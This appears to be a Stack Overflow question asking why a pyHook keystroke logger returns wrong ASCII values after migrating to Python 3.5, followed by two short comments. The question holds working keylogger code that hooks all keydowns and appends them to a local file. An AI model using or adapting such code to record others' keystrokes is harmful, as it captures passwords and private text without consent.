2

I am trying to write a keylogger using pyhook. Below is the piece of code. I recently changed to py3.5 from py2.7. The code was working fine before migration.

After migration I am getting errors. Everytime I press say "a" on keyboard, I get event.Ascii as 1(a = 1, b=2 and likewise) and not 97 (which is expected value). If I insert a breakpoint and try debug mode, then I it works right as expected.

I am running on Win7-64 bit OS and using anaconda distribution package for python.

import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime, sleep

# ################################################################################

filename = r"E:\myfile.txt"

if os.path.isfile(filename):
    f = open(filename, 'a')
    f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()
else:
    f = open(filename, 'w')
    f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()


def OnKeyboardEvent(event):

    try:
        if event.Ascii == 5:
            sys.exit()
        elif event.Ascii != 0 or event.Ascii != 8:
            keylogs = chr(event.Ascii)
        elif event.Ascii == 13 or event.Ascii == 9:
            keylogs = keylogs + '\n'
        else:
            pass

        # write to a file
        f = open(filename, 'a')
        f.write(keylogs)
        f.close()
    except UnboundLocalError:
        pass

    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
codebraker
  • 98
  • 10
  • I'm not sure why it isn't giving the right values, but as a note you don't need the while loop at the end, it only needs to run once. I guess that could be related? – John Howard Feb 16 '16 at 05:29
  • @JohnHoward, you are right about the while loop thing. My bad, I pasted original faulty code. Yet the issue still remains the same. Tip: The code was working fine with python 2.7 and after I migrated to python 3.5, the problems started. I would like to keen just one python version i.e. 3.x on my machine. ;) – codebraker Feb 22 '16 at 09:59

0 Answers0